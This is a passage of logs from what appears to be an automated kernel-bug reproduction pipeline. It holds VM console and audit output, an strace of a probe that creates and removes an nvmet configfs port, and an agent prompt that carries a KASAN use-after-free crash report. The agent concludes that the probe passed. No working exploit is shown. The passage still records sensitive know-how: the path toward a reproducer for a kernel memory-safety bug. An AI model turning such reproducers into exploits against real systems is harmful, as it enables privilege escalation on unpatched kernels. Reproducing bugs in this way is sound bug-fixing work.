[   73.847370][   T32] audit: type=1400 audit(1787768803.635:207): avc:  denied  { write } for  pid=5838 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.898990][   T32] audit: type=1400 audit(1787768803.695:208): avc:  denied  { write } for  pid=5841 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   74.357776][   T32] audit: type=1400 audit(1787768804.155:209): avc:  denied  { write } for  pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   74.408863][   T32] audit: type=1400 audit(1787768804.205:210): avc:  denied  { write } for  pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.658083][   T32] kauditd_printk_skb: 4 callbacks suppressed
[   75.658095][   T32] audit: type=1400 audit(1787768805.455:215): avc:  denied  { write } for  pid=5866 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.697095][   T32] audit: type=1400 audit(1787768805.485:216): avc:  denied  { write } for  pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:49555' (ED25519) to the list of known hosts.
execve("/syz-executor1349200980", ["/syz-executor1349200980"], 0x7ffe8b28aac0 /* 11 vars */) = 0
brk(NULL)                               = 0x555593924000
brk(0x555593924d80)                     = 0x555593924d80
arch_prctl(ARCH_SET_FS, 0x555593924400) = 0
set_tid_address(0x5555939246d0)         = 5881
set_robust_list(0x5555939246e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1349200980", 4096) = 23
getrandom("\x6c\xba\x5f\x88\xbe\x0e\x00\xa8", 8, GRND_NONBLOCK) = 8
[   76.331861][   T32] audit: type=1400 audit(1787768806.125:217): avc:  denied  { write } for  pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
brk(NULL)                               = 0x555593924d80
brk(0x555593945d80)                     = 0x555593945d80
brk(0x555593946000)                     = 0x555593946000
mprotect(0x7fc3d1ed9000, 20480, PROT_READ) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   76.346412][   T32] audit: type=1400 audit(1787768806.135:218): avc:  denied  { mounton } for  pid=5881 comm="syz-executor134" path="/sys/kernel/config" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
mount("none", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/nvmet", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   76.367256][   T32] audit: type=1400 audit(1787768806.135:219): avc:  denied  { mount } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   76.375714][   T32] audit: type=1400 audit(1787768806.155:220): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
mkdir("/sys/kernel/config/nvmet/ports/1", 0777) = 0
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created port 1 successfully.
[+] Removed port 1 successfully.
rmdir("/sys/kernel/config/nvmet/ports/1") = 0
write(1, "[+] configfs mounted or already busy.\n[+] nvmet subsystem found.\n[+] Created port 1 successfully.\n[+"..., 131) = 131
exit_group(0)                           = ?
+++ exited with 0 +++
[   76.407201][   T32] audit: type=1400 audit(1787768806.155:221): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.422402][   T32] audit: type=1400 audit(1787768806.155:222): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="nvmet" dev="configfs" ino=2602 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.431783][   T32] audit: type=1400 audit(1787768806.155:223): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="ports" dev="configfs" ino=2604 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.440338][   T32] audit: type=1400 audit(1787768806.155:224): avc:  denied  { write search } for  pid=5881 comm="syz-executor134" name="ports" dev="configfs" ino=2604 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   81.911656][  T805] cfg80211: failed to load regulatory.db
 TestError:]

180/3 2026/08/26 18:26 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   69.951605][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   69.951618][   T32] audit: type=1400 audit(1787768709.685:201): avc:  denied  { transition } for  pid=5824 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.963772][   T32] audit: type=1400 audit(1787768709.685:202): avc:  denied  { noatsecure } for  pid=5824 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.976626][   T32] audit: type=1400 audit(1787768709.685:203): avc:  denied  { rlimitinh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.988855][   T32] audit: type=1400 audit(1787768709.685:204): avc:  denied  { siginh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.716252][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[   71.728317][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[   72.951108][   T32] audit: type=1400 audit(1787768712.685:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.999345][   T32] audit: type=1400 audit(1787768712.725:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:54596' (ED25519) to the list of known hosts.
[   73.491271][   T32] audit: type=1400 audit(1787768713.225:207): avc:  denied  { mounton } for  pid=5845 comm="syz-executor329" path="/sys/kernel/config" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created port 1 successfully.
[+] Removed port 1 successfully.
[   73.499308][   T32] audit: type=1400 audit(1787768713.225:208): avc:  denied  { mount } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   73.507567][   T32] audit: type=1400 audit(1787768713.225:209): avc:  denied  { search } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   73.514857][   T32] audit: type=1400 audit(1787768713.225:210): avc:  denied  { search } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.459277][   T32] kauditd_printk_skb: 21 callbacks suppressed
[   75.459288][   T32] audit: type=1400 audit(1787768715.185:232): avc:  denied  { write } for  pid=5876 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.499167][   T32] audit: type=1400 audit(1787768715.225:233): avc:  denied  { write } for  pid=5879 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.954006][   T32] audit: type=1400 audit(1787768715.685:234): avc:  denied  { write } for  pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.992541][   T32] audit: type=1400 audit(1787768715.725:235): avc:  denied  { write } for  pid=5885 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.915103][   T24] cfg80211: failed to load regulatory.db
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1349200980

<...>
[   70.504494][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   70.504503][   T32] audit: type=1400 audit(1787768800.295:201): avc:  denied  { transition } for  pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.513724][   T32] audit: type=1400 audit(1787768800.295:202): avc:  denied  { noatsecure } for  pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.520233][   T32] audit: type=1400 audit(1787768800.295:203): avc:  denied  { rlimitinh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.526048][   T32] audit: type=1400 audit(1787768800.295:204): avc:  denied  { siginh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.670676][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[   71.674395][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[   73.454614][   T32] audit: type=1400 audit(1787768803.245:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.500933][   T32] audit: type=1400 audit(1787768803.285:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.847370][   T32] audit: type=1400 audit(1787768803.635:207): avc:  denied  { write } for  pid=5838 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.898990][   T32] audit: type=1400 audit(1787768803.695:208): avc:  denied  { write } for  pid=5841 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   74.357776][   T32] audit: type=1400 audit(1787768804.155:209): avc:  denied  { write } for  pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   74.408863][   T32] audit: type=1400 audit(1787768804.205:210): avc:  denied  { write } for  pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.658083][   T32] kauditd_printk_skb: 4 callbacks suppressed
[   75.658095][   T32] audit: type=1400 audit(1787768805.455:215): avc:  denied  { write } for  pid=5866 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.697095][   T32] audit: type=1400 audit(1787768805.485:216): avc:  denied  { write } for  pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:49555' (ED25519) to the list of known hosts.
execve("/syz-executor1349200980", ["/syz-executor1349200980"], 0x7ffe8b28aac0 /* 11 vars */) = 0
brk(NULL)                               = 0x555593924000
brk(0x555593924d80)                     = 0x555593924d80
arch_prctl(ARCH_SET_FS, 0x555593924400) = 0
set_tid_address(0x5555939246d0)         = 5881
set_robust_list(0x5555939246e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1349200980", 4096) = 23
getrandom("\x6c\xba\x5f\x88\xbe\x0e\x00\xa8", 8, GRND_NONBLOCK) = 8
[   76.331861][   T32] audit: type=1400 audit(1787768806.125:217): avc:  denied  { write } for  pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
brk(NULL)                               = 0x555593924d80
brk(0x555593945d80)                     = 0x555593945d80
brk(0x555593946000)                     = 0x555593946000
mprotect(0x7fc3d1ed9000, 20480, PROT_READ) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   76.346412][   T32] audit: type=1400 audit(1787768806.135:218): avc:  denied  { mounton } for  pid=5881 comm="syz-executor134" path="/sys/kernel/config" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
mount("none", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/nvmet", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   76.367256][   T32] audit: type=1400 audit(1787768806.135:219): avc:  denied  { mount } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   76.375714][   T32] audit: type=1400 audit(1787768806.155:220): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
mkdir("/sys/kernel/config/nvmet/ports/1", 0777) = 0
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created port 1 successfully.
[+] Removed port 1 successfully.
rmdir("/sys/kernel/config/nvmet/ports/1") = 0
write(1, "[+] configfs mounted or already busy.\n[+] nvmet subsystem found.\n[+] Created port 1 successfully.\n[+"..., 131) = 131
exit_group(0)                           = ?
+++ exited with 0 +++
[   76.407201][   T32] audit: type=1400 audit(1787768806.155:221): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.422402][   T32] audit: type=1400 audit(1787768806.155:222): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="nvmet" dev="configfs" ino=2602 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.431783][   T32] audit: type=1400 audit(1787768806.155:223): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="ports" dev="configfs" ino=2604 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.440338][   T32] audit: type=1400 audit(1787768806.155:224): avc:  denied  { write search } for  pid=5881 comm="syz-executor134" name="ports" dev="configfs" ino=2604 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   81.911656][  T805] cfg80211: failed to load regulatory.db
]

181/3 2026/08/26 18:26 agent repro-oracle
0m Model:
deep-reasoning

Results:
map[Feedback:The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
   set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
   is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
   set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
   field so the generator can adjust its setups.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

IsProbe: true
Reproduced: false
Console Output: [   69.951605][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   69.951618][   T32] audit: type=1400 audit(1787768709.685:201): avc:  denied  { transition } for  pid=5824 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.963772][   T32] audit: type=1400 audit(1787768709.685:202): avc:  denied  { noatsecure } for  pid=5824 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.976626][   T32] audit: type=1400 audit(1787768709.685:203): avc:  denied  { rlimitinh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.988855][   T32] audit: type=1400 audit(1787768709.685:204): avc:  denied  { siginh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.716252][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[   71.728317][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[   72.951108][   T32] audit: type=1400 audit(1787768712.685:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
